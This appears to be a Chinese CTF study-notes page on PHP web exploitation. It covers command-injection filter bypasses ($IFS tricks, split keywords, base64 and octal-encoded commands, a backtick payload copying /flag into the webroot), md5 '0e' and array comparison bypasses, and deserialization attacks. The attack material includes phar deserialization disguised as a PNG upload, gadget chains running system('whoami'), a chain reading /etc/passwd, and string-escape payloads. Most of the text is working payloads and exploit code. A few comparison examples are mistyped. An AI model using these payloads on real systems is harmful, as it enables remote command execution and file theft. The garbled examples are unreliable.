php 基础
杂记
- php中,[]可以使用{}进行替换
php命令执行函数
1. exec() //exec()执行一个外部程序,并返回最后一行输出的结果。
2. system() // system()执行一个外部程序,并输出结果。返回命令的最后一行输出。
3. shell_exec() //shell_exec()执行一个命令,并返回完整的输出。
4. passthru() //passthru()执行一个命令,并直接输出结果到标准输出(通常是浏览器)。它与system()类似,但不会返回命令的输出。
5. popen() //popen()打开一个管道到一个进程,允许读取或写入进程的标准输入/输出。
6. proc_open() //proc_open()可以启动一个进程,并更多地控制其输入和输出。
7. `` //PHP 也支持用反引号(``)包围命令的方式来执行命令,这是与shell中类似的语法。
弱判断
"admin"==0;//true
"1admin"=1;//true
"3%00"=3;//true
//==对于所有0e开头的都为相等
命令执行绕过
%0a
%0d
\n
空格绕过
$IFS
${IFS}
$IFS$1
%09
{cat,flag.php}
flag关键字被过滤
fla\g
a=g;fla$a
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag
md5绕过
处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同
$a = "s878926199a";
$b = "s155964671a";
md5($a) == md5($b);//true
$a1 = "0e33";
$b1 = "0e89";
md5($a1)=md5($b1);//true
数组绕过
$a = $_GET["a"];
$b = $_GET["b"];
//输入?a[]=1&b[]=2
$a===$b;//true
例子
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
//使用 base64 编码绕过
?url=127.0.0.1|`echo%09WTJGMElDOWxkR012TG1acGJtUm1iR0ZuTDJac1lXY3VkSGgw|base64%09-d|base64%09-d`
//反引号可在语句中执行命令
ls `cat /flag > /var/www/html/1.txt`
//使用 $() 和八进制
$(printf$IFS$9"\154\163")
序列化与反序列化
magic方法
| magic方法 | 功能 |
|---|---|
| __construct() | 类构造器 |
| __destruct() | 类的析构器 |
| __sleep() | 执行 serialize() 时,先会调用这个函数 |
| __wakeup() | 执行 unserialize() 时,先会调用这个函数 |
| __toString() | 类被当成字符串时的回应方法 |
__construct() //用于在创建对象时自动触发当使用 new 关键字实例化一个类时,会自动调用该类的 __construct() 方法
__destruct() //__destruct() 用于在对象被销毁时自动触发对象的销毁对象的引用计数减少为零来触发
__sleep() //序列化serialize() 函数会检查类中是否存在一个魔术方法sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup() //用于在反序列化对象时自动调用unserialize() 会检查是否存在一个 wakeup() 方法,如果存在,则会先调用wakeup()方法
__tostring() //__tostring() 在对象被当做字符串处理时自动调用比如echo、==、preg_match()
__invoke() //__invoke() 在对象被当做函数处理时自动调用
__call() //__call($method, $args) 在调用一个不存在的方法时触发, $args是数组的形式
__callStatic() //__callStatic() 在静态调用或调用成员常量时使用的方法不存在时触发
__set() //__set() 在给不存在的成员属性赋值时触发
__isset() //__isset() 在对不可访问属性使用 isset() 或empty() 时会被触发
__unset() //__unset() 在对不可访问属性使用 unset() 时会被触发
__clone() //__clone() 当使用 clone 关键字拷贝完成一个对象后就会触发
__get() //__get() 当尝试访问不可访问属性时会被自动调用
绕过
这是利用了php的bug,如果序列化出错,则不会执行wakeup函数
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
phar 反序列化
当PHP使用phar://伪协议访问Phar文件时,如果Phar文件的元数据(Manifest)中包含序列化的对象,那么PHP会自动反序列化该对象。这就是Phar反序列化漏洞的原理
- 构造一个包含恶意序列化对象的Phar文件。
- 将Phar文件上传到服务器。
- 使用phar://伪协议访问该Phar文件,触发反序列化漏洞。
<?php
class Evil {
public $cmd;
public function __destruct() {
system($this->cmd);
}
}
// 创建Phar对象
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test"); // 添加一个文件
// 构造恶意的对象
$evil = new Evil();
$evil->cmd = "whoami"; // 要执行的命令
// 将恶意对象序列化后存入 metadata
$phar->setMetadata($evil);
$phar->stopBuffering();
// 生成签名
$signature = $phar->setSignatureAlgorithm(Phar::SHA1);
// 修改phar文件的后缀名为png,绕过上传检测
rename("evil.phar", "evil.png");
?>
<?php
// 触发反序列化漏洞
include("phar://evil.png"); // 或者 file_get_contents("phar://evil.png");
?>
几个例子
<?php
class User {
public $username;
public $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function showInfo() {
echo "Username: " . $this->username . "<br>";
echo "Password: " . $this->password . "<br>";
}
}
$user = new User("testuser", "testpass");
$serialized_user = serialize($user);
echo "Serialized User: " . $serialized_user . "<br>";
$unserialized_user = unserialize($serialized_user);
$unserialized_user->showInfo();
?>
<?php
class A {
public $obj;
public function __destruct() {
$this->obj->action();
}
}
class B {
public $cmd;
public function action() {
system($this->cmd);
}
}
$b = new B();
$b->cmd = "whoami";
$a = new A();
$a->obj = $b;
$payload = serialize($a);
echo "Payload: " . $payload . "<br>";
unserialize($payload); // 执行反序列化
?>
指引绕过
<?php
class test {
public $a;
public $b;
public function __construct(){
$this->a = 'aaa';
}
public function __destruct(){
if($this->a === $this->b) {
echo 'you success';
}
}
}
if(isset($_REQUEST['input'])) {
if(preg_match('/aaa/', $_REQUEST['input'])) {
die('nonono');
}
unserialize($_REQUEST['input']);
}else {
highlight_file(__FILE__);
}
class test {
public $a;
public $b;
public function __construct(){
$this->b = &$this->a;
}
}
$a = serialize(new test());
echo $a;
//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}
复杂一点的
- 构造一个D类的实例,设置$filename为要读取的文件。
- 构造一个C类的实例,将$data设置为刚才构造的D类实例。
- 构造一个E类的实例,将$obj设置为null,因为__wakeup()会重新赋值。
- 序列化E类的实例。
- 反序列化E类的实例,__wakeup()会被调用,创建一个新的C实例,赋值给$this->obj。
- 由于E类实例的$obj属性是一个对象,并且在脚本结束时会被当做字符串使用(比如被echo),因此__toString()方法会被调用,进而读取文件内容。
<?php
class C {
public $data;
public function __toString() {
return $this->data->read();
}
}
class D {
public $filename;
public function read() {
return file_get_contents($this->filename);
}
}
class E {
public $obj;
public function __wakeup() {
$this->obj = new C();
}
}
$d = new D();
$d->filename = "/etc/passwd";
$c = new C();
$c->data = $d;
$e = new E();
$e->obj = null; // 关键:设置为 null,让 __wakeup 重新赋值
$payload = serialize($e);
echo "Payload: " . $payload . "<br>";
echo unserialize($payload); // 触发 __toString()
?>
反序列化逃逸
payload: flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag”;s:4:”sss2”;s:9:”webwebweb”;}
在unserialize反序列化时,若参数字符串不符合序列化的标准格式(比如数字和实际字符长度不匹配),那么反序列化失败,unserialize啥也8会返回,因此此处要输入很多’flag’确保被替换成’nono!’后也满足序列化格式
然后后面的咋解决呢? 8用解决,因为unserialize在操作完后就8会管后面的字符串,因此闭合、填充就可以了,这就叫反序列化逃逸
<?php
include('flag.php'); //flag.php!!!!!!!!!
error_reporting(0);
function replace($payload){
$filter="/flag/i";
return preg_replace($filter,"nono!",$payload); //匹配payload中的filter并替换,此处的/i表示大小写不敏感,(在菜鸟在线里验证过,单双引号的区别
};
$sss=$_GET['ky']; //单引号,不转义, 此处为用户输入的可构造payload部分
$ctf['sss1']='webwebweb';
$ctf['sss2']='pwnpwnpwn';
if(isset($sss)){
if(strpos($sss,'flag')>=0){//返回flag在php中第一次出现位置的数字 若没有则返回FALSE,所以必须出现上述
$ctf['sss1']=$sss; //ss1换成payload
$ctf=unserialize(replace(serialize($ctf)));//serialize:序列化一个对象或数组,返回字符串;调用replace,把"/flag/i"换成nono!,可以双写绕过
if($ctf['sss2']==="webwebweb"){ //3个=,强比较,没法绕
echo $flag;
}else{
echo "nonono!";
}
}
}
else{
highlight_file(__FILE__);
}
?>
geter 和 seter的利用
Setter类的__set()方法会调用$this->obj->$name = $value。如果$this->obj是Getter类的实例,那么$this->obj->$name就会触发Getter类的__get()方法,从而调用$this->obj->$name,最终调用Target类的execute()方法
<?php
class Getter {
private $obj;
public function __construct($obj) {
$this->obj = $obj;
}
public function __get($name) {
return $this->obj->$name;
}
}
class Setter {
private $obj;
public function __construct($obj) {
$this->obj = $obj;
}
public function __set($name, $value) {
$this->obj->$name = $value;
}
}
class Target {
public function execute($cmd) {
system($cmd);
}
}
//构造payload
$target = new Target();
$getter = new Getter($target);
$setter = new Setter($getter);
$setter->execute = 'whoami';
echo serialize($setter);
?>
call
当调用未定义的方法时,__call()方法会被调用。可以利用它来执行任意函数
<?php
class Caller {
private $func;
private $args;
public function __construct($func, $args) {
$this->func = $func;
$this->args = $args;
}
public function __call($name, $arguments) {
return call_user_func_array($this->func, $this->args);
}
}
// 构造payload
$func = 'system';
$args = array('whoami');
$caller = new Caller($func, $args);
echo serialize($caller);
?>
__invoke()
当尝试将对象当做函数调用时,__invoke()方法会被调用。
<?php
class Invoker {
private $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
public function __invoke() {
system($this->cmd);
}
}
// 构造payload
$cmd = 'whoami';
$invoker = new Invoker($cmd);
echo serialize($invoker);
?>